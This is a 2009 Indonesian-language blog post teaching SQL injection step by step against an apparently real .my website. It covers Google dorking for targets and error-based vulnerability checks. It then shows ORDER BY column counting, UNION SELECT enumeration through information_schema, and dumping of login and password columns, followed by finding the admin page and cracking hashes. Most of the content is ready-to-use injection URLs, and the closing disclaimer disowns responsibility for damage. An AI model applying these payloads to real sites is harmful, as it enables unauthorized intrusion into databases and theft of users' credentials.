12.07.2009

SQLi Step by Step

Bismilah hirahman nirahim


Special thanks to vyc0d | bobyhikaru | Indonesian Hacker ,,thx bro you are my inspiration !!!!


Step by Step SQL injection


===[1]===

Mencari target,,
untuk mencari target kalian dapat memakai google dorks untuk SQLi

contoh : http://www.malingshit.my/ganyang.php?id=69

===[2]===

Setelah menemukan target , langkah berikutnya adalah mengecek apakah target dapat di inject atau tidak.
cara mengecek dengan menambahkan karakter ' atau - pada akhir alamat url.

contoh : http://www.malingshit.my/ganyang.php?id=69'

http://www.malingshit.my/ganyang.php?id=69-

jika ditemukan error seperti

Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /home/u198/domain/malingshit.my/ganyang.php on line 69
maka target tersebut vuln / dapat di inject.

===[3]===

mencari dan menghitung jumlah table yang ada dalam databasenya...
gunakan perintah : +order+by+ atau /**/order/**/by/**/
contoh:

http://www.malingshit.my/ganyang.php?id=69+order+by+1--
sekarang cek secara satu per satu

contoh:
http://www.malingshit.my/ganyang.php?id=69+order+by+1--
http://www.malingshit.my/ganyang.php?id=69+order+by+2--
hingga
http://www.malingshit.my/ganyang.php?id=69+order+by+12--
http://www.malingshit.my/ganyang.php?id=69+order+by+13--
sehingga muncul error atau hilang pesan error...

misal:

http://www.malingshit.my/ganyang.php?id=69+order+by+13--

berarti yang kita ambil adalah sampai angka 12
===[4]===

untuk mengeluarkan angka berapa yang muncul gunakan perintah union
karena tadi error sampai angka 13
gunakan perintah : +and+1=2+union+select+ atau /**/union/**/select/**/ atau /**/UNION/**/ALL/**/SELECT/**/

maka:

http://www.malingshit.my/ganyang.php?id=69+and+1=2+union+select+1,2,3,4,5,6,7,8,9,10,11,12--
maka akan muncul angka 4 ,7 , 8 ( ini yang disebut magic number)

gunakan perintah version() untuk mengecek versi sql yg dipakai , user() untuk mengetahui nama user, database() untuk mengetahui nama database ,masukan perintah tsb pada angka yg keluar tadi

contoh:
http://www.malingshit.my/ganyang.php?id=69+and+1=2+union+select+1,2,3,version%28%29,5,6,user%28%29,database%28%29,9,10,11,12--

lihat versi yg digunakan, jika versi 4.x.x.xx tinggalkan saja karena dalam ver 4 ini kita harus menebak sendiri table dan column yg ada pada web tersebut karena tidak bisa menggunakan perintah +from+information_schema
untuk versi 5.x.x.xx berarti anda beruntung tidak perlu menebak table dan column seperti ver 4 karena di ver 5 ini bisa menggunakan perintah +from+information_schema

===[5]===

Untuk menampilkan semua isi dari table tersebut adalah


perintah group_concat(table_name) -> dimasukan pada angka yg keluar tadi dan


perintah +from+information_schema.tables+where+table_schema=database()-- -> dimasukan setelah angka terakhir
contoh:

http://www.malingshit.my/ganyang.php?id=69+and+1=2+union+select+1,2,3,group_concat%28table_name%29,5,6,user%28%29,database%28%29,9,10,11,12+from+information_schema.tables+where+table_schema=database%28%29--

cari table dengan nama seperti

user, usr, username, user_name, login, user_admin, name, admin_user, dll

di dalam tersebut biasanya tersimpan username dan password.

dalam contoh ini adalah users
ubah dulu kata users ke dalam hexa memakai tool ini r3m1ck converter tool

hasilnya adalah 75 73 65 72 73 ,hilangkan spasinya menjadi 7573657273

===[6]===

Mencari isi table

Perintah : group_concat(column_name) -> dimasukan pada angka yg keluar tadi


perintah : +from+information_schema.columns+where+table_name=0xhexa--

-> dimasukan setelah angka terakhir

ganti hexa dengan kata users yg sudah di convert ke hexa
contoh :

http://www.malingshit.my/ganyang.php?id=69+and+1=2+union+select+1,2,3,group_concat(column_name)
,5,6,user(),database(),9,10,11,12+from+information_schema.columns+where+table_name=0x7573657273--

maka isi dari table users adalah


id,login,password


===[7]===


Melihat isi dari column id , login password.


gunakan perintah : group_concat(0x3a,hasil isi column yg mau dikeluarkan) -> dimasukan pada angka yg keluar tadi


perintah +from+(nama table berasal) -> dimasukan setelah angka terakhir


contoh: http://www.malingshit.my/ganyang.php?id=69+and+1=2+union+select+1,2,3,group_concat%28login,0x3a,password%20%29,5,6,user%28%29,database%28%29,9,10,11,12+from+users--


0x3a adalah tanda : (titik dua )


===[8]===


Langkah terakhir adalah mencari halaman login admin, bisa menggunkan tool disini

jika anda mendapati username+password yang di encrypt maka anda dapat menggunakan tool ini atau ini

Silahkan mencoba,semoga tutorial ini berguna untuk pembelajaran. penulis tidak bertanggung jawab atas kerusakan yang anda perbuat.



DOWNLOAD note



Tidak ada komentar:

Posting Komentar

Silahkan tinggalkan komentar anda di sini...
makasih ya uda kasih komentar...
sering - sering maen sini ya...
No SaRa, No PoLiTiCs, No SPaMMiNG!!!